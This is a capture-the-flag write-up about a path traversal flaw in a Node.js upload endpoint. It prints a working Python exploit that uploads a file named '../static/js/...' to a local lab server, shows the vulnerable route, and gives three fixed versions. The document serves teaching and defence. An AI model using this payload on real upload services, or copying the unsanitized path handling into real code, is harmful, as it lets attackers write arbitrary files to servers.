Challenge Overview

This challenge presents a web application that allows users to upload resource files through an API endpoint. The application accepts file uploads and stores them in a designated resources directory. The goal is to identify and exploit a path traversal vulnerability in the file upload functionality to write files outside the intended directory structure.

Exploit Analysis

First, let’s examine the provided exploit that demonstrates the vulnerability:

from requests import get, post
import random
import string
import re

BASE_URL = "http://localhost:1337/challenge"

def generate_random_filename(prefix="testfile"):
    random_part = "".join(random.choices(string.ascii_lowercase, k=6))
    return f"{prefix}_{random_part}.txt"

def random_string(length=6):
    return "".join(random.choices(string.ascii_lowercase, k=length))

def upload_resource(filename, content):
    files = {
        'file': (filename, content, 'text/plain')
    }
    data = {
        'category': 'test',
        'priority': 'low'
    }

    upload_url = f"{BASE_URL}/api/upload-resource"
    response = post(upload_url, files=files, data=data)
    return response

if __name__ == '__main__':
    filename = generate_random_filename()
    content = random_string(20)
    response = upload_resource(f"../static/js/{filename}", content)

    resources_url = f"{BASE_URL}/js/{filename}"
    response = get(resources_url)

    match = re.search(content, response.text)
    if match:
        print(f"Exploit success!")
        print(f"Files uploaded on: {resources_url}")
    else:
        print(f"Exploit failed!")

The exploit follows this attack pattern:

  1. File Generation: Creates a random filename and content
  2. Path Traversal Payload: Uses ../static/js/{filename} as the filename
  3. File Upload: Uploads the file using the malicious filename
  4. Verification: Accesses the file through the web server at /js/{filename}
  5. Success Confirmation: Checks if the uploaded content is accessible

The key insight is that the filename ../static/js/{filename} allows writing files outside the intended resources directory into the publicly accessible static/js directory.

Vulnerability Analysis

Affected Endpoint

The vulnerability lies in the file upload endpoint:

POST /api/upload-resource

Code Analysis

Let’s examine the vulnerable backend code:

// routes/routes.js

router.post('/api/upload-resource', (req, res) => {
    const form = formidable({
      uploadDir: uploadsDir,
      keepExtensions: true
    });
  
    form.parse(req, (err, fields, files) => {
      if (err) {
        return res.status(500).json({
          success: false,
          error: 'Upload failed',
          details: err.message
        });
      }
  
      // Kinda weird tho-- Access the first file from the files object
      const file = Array.isArray(files.file) ? files.file[0] : files.file;
      
      if (!file) {
        return res.status(400).json({
          success: false,
          error: 'No file uploaded'
        });
      }
  
      try {
        const targetFilename = file.originalFilename;
        
        const targetPath = path.join(__dirname, '../resources', targetFilename);
        
        fs.renameSync(file.filepath, targetPath);
        
        res.json({
          success: true,
          message: 'Resource uploaded successfully',
          category: fields.category,
          priority: fields.priority,
          filename: targetFilename,
          path: targetPath
        });
      } catch (error) {
        res.status(500).json({
          success: false,
          error: 'Resource upload failed',
          details: error.message
        });
      }
    });
});

The vulnerability occurs because:

  1. No filename sanitization: The file.originalFilename is used directly without validation
  2. Path traversal sequences: ../ sequences in the filename are not filtered
  3. Unrestricted path construction: path.join() allows traversal outside the intended directory

Vulnerability Fixes

There are several viable approaches to mitigating this vulnerability. Below we present three common solutions, each with different tradeoffs in complexity and control.

Solution 1: Filename Sanitization

This approach ensures that user-supplied filenames are cleaned and made safe before being used in file paths. It replaces dangerous characters and adds uniqueness to avoid collisions.

// routes/routes.js - Filename Sanitization

router.post('/api/upload-resource', (req, res) => {
  const form = formidable({
    uploadDir: uploadsDir,
    keepExtensions: true
  });
  
  form.parse(req, (err, fields, files) => {
    if (err) {
      return res.status(500).json({
        success: false,
        error: 'Upload failed',
        details: err.message
      });
    }
    
    const file = Array.isArray(files.file) ? files.file[0] : files.file;
    
    if (!file) {
      return res.status(400).json({
        success: false,
        error: 'No file uploaded'
      });
    }
    
    try {
      // Sanitize filename to prevent path traversal
      const originalName = path.basename(file.originalFilename);
      const safeFilename = originalName.replace(/[^a-zA-Z0-9._-]/g, '_');
      
      // Add UUID or timestamp to prevent collisions
      const uniqueName = `${Date.now()}_${safeFilename}`;
      
      const targetPath = path.join(__dirname, '../resources', uniqueName);
      
      fs.renameSync(file.filepath, targetPath);
      
      res.json({
        success: true,
        message: 'Resource uploaded successfully',
        category: fields.category,
        priority: fields.priority,
        filename: uniqueName,
        path: targetPath
      });
    } catch (error) {
      res.status(500).json({
        success: false,
        error: 'Resource upload failed',
        details: error.message
      });
    }
  });
});

This provides a quick fix and is easy to implement, but doesn’t prevent all types of attacks if sanitization is too permissive.

Solution 2: Path Validation with Explicit Checks

This method validates that the constructed path remains inside the intended directory, effectively neutralizing any path traversal attempts.

// routes/routes.js - Path Validation

router.post('/api/upload-resource', (req, res) => {
  const form = formidable({
    uploadDir: uploadsDir,
    keepExtensions: true
  });
  
  form.parse(req, (err, fields, files) => {
    if (err) {
      return res.status(500).json({
        success: false,
        error: 'Upload failed',
        details: err.message
      });
    }
    
    const file = Array.isArray(files.file) ? files.file[0] : files.file;
    
    if (!file) {
      return res.status(400).json({
        success: false,
        error: 'No file uploaded'
      });
    }
    
    try {
      const targetFilename = path.basename(file.originalFilename);
      
      // Validate filename doesn't contain dangerous patterns
      if (targetFilename.includes('..') || targetFilename.includes('/') || targetFilename.includes('\\')) {
        return res.status(400).json({
          success: false,
          error: 'Invalid filename detected'
        });
      }
      
      const resourcesDir = path.resolve(__dirname, '../resources');
      const targetPath = path.join(resourcesDir, targetFilename);
      
      // Ensure the resolved path is still within the resources directory
      if (!targetPath.startsWith(resourcesDir + path.sep)) {
        return res.status(400).json({
          success: false,
          error: 'Path traversal detected'
        });
      }
      
      fs.renameSync(file.filepath, targetPath);
      
      res.json({
        success: true,
        message: 'Resource uploaded successfully',
        category: fields.category,
        priority: fields.priority,
        filename: targetFilename,
        path: targetPath
      });
    } catch (error) {
      res.status(500).json({
        success: false,
        error: 'Resource upload failed',
        details: error.message
      });
    }
  });
});

This adds a defensive layer by enforcing directory containment after path resolution.

Solution 3: UUID-Based Approach with File Type Validation

Here, the server takes full control over filenames by generating UUIDs and enforcing a strict whitelist of allowed file extensions. This eliminates any risk related to user-supplied names.

// routes/routes.js - UUID-Based with Validation

const crypto = require('crypto');
const mime = require('mime-types');

router.post('/api/upload-resource', (req, res) => {
  const form = formidable({
    uploadDir: uploadsDir,
    keepExtensions: true,
    maxFileSize: 10 * 1024 * 1024 // 10MB limit
  });
  
  form.parse(req, (err, fields, files) => {
    if (err) {
      return res.status(500).json({
        success: false,
        error: 'Upload failed',
        details: err.message
      });
    }
    
    const file = Array.isArray(files.file) ? files.file[0] : files.file;
    
    if (!file) {
      return res.status(400).json({
        success: false,
        error: 'No file uploaded'
      });
    }
    
    try {
      // Generate UUID for filename
      const fileExtension = path.extname(file.originalFilename);
      const allowedExtensions = ['.txt', '.pdf', '.jpg', '.png', '.gif', '.doc', '.docx'];
      
      if (!allowedExtensions.includes(fileExtension.toLowerCase())) {
        return res.status(400).json({
          success: false,
          error: 'File type not allowed'
        });
      }
      
      const uniqueFilename = crypto.randomUUID() + fileExtension;
      const targetPath = path.join(__dirname, '../resources', uniqueFilename);
      
      fs.renameSync(file.filepath, targetPath);
      
      res.json({
        success: true,
        message: 'Resource uploaded successfully',
        category: fields.category,
        priority: fields.priority,
        filename: uniqueFilename,
        originalName: file.originalFilename,
        path: targetPath
      });
    } catch (error) {
      res.status(500).json({
        success: false,
        error: 'Resource upload failed',
        details: error.message
      });
    }
  });
});

This is the most robust and scalable solution, suitable for production environments where security and consistency are top priorities.

After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.

image1

image2


written by 0xbara